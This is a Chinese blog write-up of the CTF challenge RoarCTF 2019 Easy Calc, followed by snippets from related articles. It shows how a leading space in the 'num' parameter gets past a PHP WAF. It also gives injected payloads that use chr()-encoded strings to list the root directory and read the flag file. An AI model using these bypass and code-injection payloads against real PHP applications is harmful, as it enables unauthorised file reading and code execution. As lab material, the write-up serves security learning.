[buuoj][RoarCTF 2019]Easy Calc

最新推荐文章于 2022-05-05 17:42:40 发布
最新推荐文章于 2022-05-05 17:42:40 发布
阅读量248 收藏
点赞数
分类专栏： web 文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42250840/article/details/107115325
版权

知识点：

  • PHP的字符串解析特性
    当php进行解析的时候，如果变量前面有空格，会去掉前面的空格再解析

复现：

在这里插入图片描述
查看源码，找到calc.php
在这里插入图片描述
存在过滤，不能传递字母变量，利用php解析特性，将“num”换为“ num”。再将chr转换为ascll进行绕过。由于查看目录，构造

? num=1;var_dump(scandir(chr(47)))

在这里插入图片描述

存在flaag，构造

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

在这里插入图片描述

Matrix_Ceasor
关注
专栏目录
【漏洞挖掘】——73、CTF中的请求走私
Fly_鹏程万里
06-11 52
文章前言HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列方式的技术，它允许攻击者绕过安全控制获得对敏感数据的未经授权的访问并直接危害其他应用程序用户，请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况，主要是因为HTTP规范提供了两种不同的方法来指定请求的结束位置，即和。
BUUCTF-WEB刷题记录-1
weixin_44145820的博客
04-06 907
目录[HCTF 2018]WarmUp[强网杯 2019]随便注[护网杯 2018]easy_tornado[SUCTF 2019]EasySQL[HCTF 2018]admin[RoarCTF 2019]Easy Calc[极客大挑战 2019]EasySQL[强网杯 2019]高明的黑客[极客大挑战 2019]Havefun[SUCTF 2019]CheckIn[CISCN2019 华北赛区 ...
[RoarCTF 2019]Easy Calc
xj28555的博客
09-02 368
进入题目是一个计算器的功能界面 查看源代码，可以发现是有WAF的，且存在一个calc.php文件 这里接收一个num参数，可以看到这里创建了一个黑名单列表，然后用正则是去匹配，进行非法参数的过滤。 那这题就是要绕过这个过滤和过一个WAF了。先传入一个?num=1测试一下。 传入字母就会报错，这里应该是被WAF文件给拦截了。 要对这WAF进行绕过，这里就涉及到一个知识点了。 PHP的字符串解析特性 我们知道PHP将查询字符串（在URL或正文中）转换
【[RoarCTF 2019]Easy Calc】
qq_40646572的博客
05-05 165
信息搜集 打开目标页面，搜集下可用的信息。 在文本框随便输入了点字母，发现提示。 打开页面源码，发现了提示，有waf存在。并且发现数据发送到calc.php页面，参数是num。 打开calc.php页面发现源码。 http://node4.buuoj.cn:28614/calc.php? num=phpinfo() Num参数前加一个空格。 为什么要num参数前加一个空格，是因为加一个空格为了绕过waf，在请求传递到waf层的时候，waf会检测num变量，当num前面加一个空格时，目标变量会找.
RoarCTF 2019 Easy Calc
BlueDoorZz的博客
07-11 347
0x00 题目类型：php，RCE。 知识点：php对变量空格的解析。 0x01 查看源码，提醒有WAF保护，不过我们不知道规则。发现calc.php，对传入的num参数做了如下限制。 $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) {
RoarCTF2019部分Writeup
Sea_Sand息禅
11-29 867
Easy Calc 页面源码线索中得到calc.php <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"'...
BUUCTF持续更新中
wo41ge的博客
10-19 489
目录 环境我已经启动了 去访问一下 源码有提示 去访问一下 然后看到了源码 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (
BUUCTF-WEB
ccfly1012的博客
11-02 3870
目录 [HCTF 2018]WarmUp [极客大挑战 2019]EasySQL 总结万能密码 [极客大挑战 2019]Havefun [强网杯 2019]随便注 [ACTF2020 新生赛]Include [SUCTF 2019]EasySQL [极客大挑战 2019]Secret File [ACTF2020 新生赛]Exec [极客大挑战 2019]LoveSQL [GXYCTF2019]Ping Ping Ping [HCTF 2018]WarmUp 打开网页，查看一下源代
[roarctf 2019]easy calc
最新发布
03-16
这道题是一道简单的逆向工程题目，给出了一个计算器程序和加密后的标志，需要我们破解加密算法并计算出正确的标志。 我们可以使用反编译工具对程序进行反编译，然后找到加密算法的相关代码。在这个程序中，加密算法...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值